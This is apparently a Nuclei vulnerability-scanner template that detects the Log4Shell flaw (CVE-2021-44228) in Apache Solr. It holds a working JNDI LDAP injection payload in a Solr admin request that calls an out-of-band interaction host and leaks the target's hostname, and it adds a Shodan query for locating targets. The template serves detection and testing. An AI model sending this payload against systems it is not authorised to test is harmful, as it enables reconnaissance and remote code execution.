apache-solr-log4j-rce: Apache Solr 7+ - Remote Code Execution (Apache Log4j)

id: apache-solr-log4j-rce

info:
  name: Apache Solr 7+ - Remote Code Execution (Apache Log4j)
  author: Evan Rubinstein,nvn1729,j4vaovo
  severity: critical
  description: |
    Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
  reference:
    - https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
    - https://twitter.com/sirifu4k1/status/1470011568834424837
    - https://github.com/apache/solr/pull/454
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
    - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Apache Solr"
    product: solr
    vendor: apache
  tags: vulhub,cve,solr,oast,log4j,cve2021,rce,apache,jndi,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        @timeout: 25s
        GET /solr/admin/{{endpoint}}?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-{{rand1}}%7D%24%7B%3A-{{rand2}}%7D.%24%7BhostName%7D.uri.{{interactsh-url}}%2F%7D HTTP/1.1
        Host: {{Hostname}}

    payloads:
      endpoint:
        - "collections"
        - "cores"
    attack: clusterbomb

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'org.apache.solr'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a00463044022062980382f7eaaa7820660df0242428170ddd35995873dddd59013a39322c4ada02207b7ce40fbb28c77bf3cc53c110d6407dc22ced9b22737e3b8aca8967ae0bc2ae:922c64590222798bb761d5b6d8e72950